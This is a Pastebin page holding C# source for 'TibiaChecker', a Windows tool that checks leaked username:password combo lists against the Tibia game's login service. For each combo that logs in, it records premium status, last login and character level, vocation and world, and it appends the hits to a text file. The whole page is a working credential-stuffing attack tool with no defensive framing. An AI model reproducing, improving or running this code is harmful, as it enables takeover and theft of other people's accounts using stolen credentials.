Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.IO;
- using System.Net;
- using System.Net.Http;
- using System.Threading;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using Newtonsoft.Json.Linq;
- namespace TibiaChecker
- {
- public partial class Form1 : Form
- {
- public static string[] ComboFile;
- public static JToken CharactersJson;
- private readonly AbortableBackgroundWorker backgroundWorker = new AbortableBackgroundWorker();
- public List<JToken> CharList = new List<JToken>();
- public Form1()
- {
- InitializeComponent();
- }
- private void button1_Click(object sender, EventArgs e)
- {
- var openFileDialog1 = new OpenFileDialog();
- openFileDialog1.Filter = "Text Files (.txt)|*.txt";
- openFileDialog1.FilterIndex = 1;
- if (openFileDialog1.ShowDialog() == DialogResult.OK)
- {
- textBox1.Text = openFileDialog1.FileName;
- using (var tr = new StreamReader(openFileDialog1.FileName))
- {
- ComboFile = File.ReadAllLines(openFileDialog1.FileName);
- }
- }
- }
- public static Tuple<bool, string> CheckLogin(string login, string password)
- {
- var httpWebRequest = (HttpWebRequest) WebRequest.Create("https://secure.tibia.com/services/login.php");
- httpWebRequest.ContentType = "application/json";
- httpWebRequest.Method = "POST";
- httpWebRequest.UserAgent = "Mozilla/5.0";
- httpWebRequest.ServicePoint.Expect100Continue = false;
- httpWebRequest.Headers["Content-Disposition"] = "form-data; name=\"metadata\"";
- using (var streamWriter = new StreamWriter(httpWebRequest.GetRequestStream()))
- {
- var json = "{\"accountname\":\"" + login + "\"," +
- "\"password\":\"" + password + "\"," +
- "\"staylogged\":\"true\"," +
- "\"type\":\"login\"}";
- streamWriter.Write(json);
- streamWriter.Flush();
- streamWriter.Close();
- }
- var httpResponse = (HttpWebResponse) httpWebRequest.GetResponse();
- using (var streamReader = new StreamReader(httpResponse.GetResponseStream()))
- {
- var result = streamReader.ReadToEnd();
- if (!result.Contains("sessionkey") || result.Contains("Account name or password is not correct.") ||
- result.Contains("30 minutes"))
- return new Tuple<bool, string>(false, result);
- return new Tuple<bool, string>(true, result);
- }
- }
- public static DateTime UnixTimeStampToDateTime(double unixTimeStamp)
- {
- // Unix timestamp is seconds past epoch
- var dtDateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
- dtDateTime = dtDateTime.AddSeconds(unixTimeStamp).ToLocalTime();
- return dtDateTime;
- }
- private void button2_Click(object sender, EventArgs e)
- {
- backgroundWorker.WorkerReportsProgress = true;
- backgroundWorker.DoWork += backgroundWorker1_DoWork;
- backgroundWorker.ProgressChanged += backgroundWorker1_ProgressChanged;
- if (!backgroundWorker.IsBusy)
- backgroundWorker.RunWorkerAsync();
- }
- private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
- {
- var i = 0;
- if (ComboFile != null)
- foreach (var combo in ComboFile)
- {
- backgroundWorker.ReportProgress(++i);
- var splittedcombo = combo.Split(':');
- var login = CheckLogin(splittedcombo[0], splittedcombo[1]);
- if (login.Item1)
- {
- var parse = JObject.Parse(login.Item2);
- var lastlogintime = parse["session"]["lastlogintime"];
- var lastlogintonormaltime =
- UnixTimeStampToDateTime(Convert.ToDouble(lastlogintime.ToString())).ToLocalTime().ToString();
- var ispremium = parse["session"]["ispremium"];
- var premiumuntil = parse["session"]["premiumuntil"];
- var premiumuntilnormaltime =
- UnixTimeStampToDateTime(Convert.ToDouble(premiumuntil.ToString())).ToLocalTime().ToString();
- var characters = parse["playdata"]["characters"];
- var Charinfo = new List<string>();
- var jtokenwriter = new JTokenWriter();
- jtokenwriter.WriteStartObject();
- jtokenwriter.WritePropertyName(splittedcombo[0]);
- jtokenwriter.WriteStartObject();
- if (characters != null)
- foreach (var character in characters)
- {
- Thread.Sleep(1000);
- JToken parseapi = null;
- try
- {
- parseapi = GetInfoAPI(character["name"].ToString()).Result;
- }
- catch (AggregateException hehe)
- {
- MessageBox.Show(hehe.StackTrace);
- }
- var name = parseapi["name"].ToString();
- var level = parseapi["level"].ToString();
- var vocation = parseapi["vocation"].ToString();
- var world = parseapi["world"].ToString();
- jtokenwriter.WritePropertyName(name);
- jtokenwriter.WriteStartObject();
- jtokenwriter.WritePropertyName("charname");
- jtokenwriter.WriteValue(name);
- jtokenwriter.WritePropertyName("level");
- jtokenwriter.WriteValue(level);
- jtokenwriter.WritePropertyName("vocation");
- jtokenwriter.WriteValue(vocation);
- jtokenwriter.WritePropertyName("world");
- jtokenwriter.WriteValue(world);
- jtokenwriter.WriteEndObject();
- Charinfo.Add("Char Name:" + name + " | Level:" + level + " | Vocation:" + vocation +
- " | World: " + world);
- }
- jtokenwriter.WriteEndObject();
- jtokenwriter.WriteEndObject();
- CharactersJson = (JObject) jtokenwriter.Token;
- CharList.Add(CharactersJson);
- using (var writer = File.AppendText("Contas.txt"))
- {
- if (ispremium.ToString() == "True")
- {
- string[] row =
- {
- splittedcombo[0], splittedcombo[1], ispremium.ToString(),
- lastlogintonormaltime, premiumuntilnormaltime
- };
- var item = new ListViewItem(row);
- listView1.Items.Add(item);
- writer.Write("---------- ACCOUNT " + combo + "| Last login: " + lastlogintonormaltime +
- "| Premium: " + ispremium + "| Premium until: " + premiumuntilnormaltime +
- " ----------" + Environment.NewLine);
- }
- else
- {
- string[] row =
- {
- splittedcombo[0], splittedcombo[1], ispremium.ToString(),
- lastlogintonormaltime
- };
- var item = new ListViewItem(row);
- if (listView1.InvokeRequired)
- listView1.Invoke(new MethodInvoker(delegate { listView1.Items.Add(item); }));
- else
- listView1.Items.Add(item);
- writer.Write(Environment.NewLine + "---------- ACCOUNT " + combo + "- Last login: " +
- lastlogintonormaltime + " Premium: " + ispremium + " ----------" +
- Environment.NewLine);
- }
- foreach (var chars in Charinfo)
- writer.Write(chars + Environment.NewLine);
- Charinfo.Clear();
- }
- }
- }
- }
- private void backgroundWorker1_ProgressChanged(object sender,
- ProgressChangedEventArgs e)
- {
- // Change the value of the ProgressBar to the BackgroundWorker progress.
- progressBar1.Value = e.ProgressPercentage;
- progressBar1.Maximum = ComboFile.Length;
- }
- public async Task<JObject> GetInfoAPI(string name)
- {
- using (var client = new HttpClient())
- {
- var jsonString =
- await
- client.GetStringAsync("http://94.177.233.238/tibiaapi.php?charname=" + name)
- .ConfigureAwait(false);
- return JObject.Parse(jsonString);
- }
- }
- private void button3_Click(object sender, EventArgs e)
- {
- if (backgroundWorker.IsBusy)
- {
- backgroundWorker.Abort();
- backgroundWorker.Dispose();
- }
- }
- private void listView1_DoubleClick(object sender, EventArgs e)
- {
- var settingsForm = new ShowCharsForm();
- var clickedname = listView1.SelectedItems[0].SubItems[0].Text;
- foreach (var character in CharList)
- if (character.ToString().Contains(clickedname))
- {
- var array = JObject.Parse(character[clickedname].ToString());
- foreach (var pair in array)
- {
- string[] row =
- {
- array[pair.Key]["charname"].ToString(),
- array[pair.Key]["level"].ToString(),
- array[pair.Key]["vocation"].ToString(),
- array[pair.Key]["world"].ToString()
- };
- var item = new ListViewItem(row);
- settingsForm.listView1.Items.Add(item);
- }
- }
- settingsForm.Show();
- }
- public class AbortableBackgroundWorker : BackgroundWorker
- {
- private Thread workerThread;
- protected override void OnDoWork(DoWorkEventArgs e)
- {
- workerThread = Thread.CurrentThread;
- try
- {
- base.OnDoWork(e);
- }
- catch (ThreadAbortException)
- {
- e.Cancel = true; //We must set Cancel property to true!
- Thread.ResetAbort(); //Prevents ThreadAbortException propagation
- }
- }
- public void Abort()
- {
- if (workerThread != null)
- {
- workerThread.Abort();
- workerThread = null;
- }
- }
- }
- private void listView1_ColumnWidthChanging(object sender, ColumnWidthChangingEventArgs e)
- {
- e.Cancel = true;
- e.NewWidth = listView1.Columns[e.ColumnIndex].Width;
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement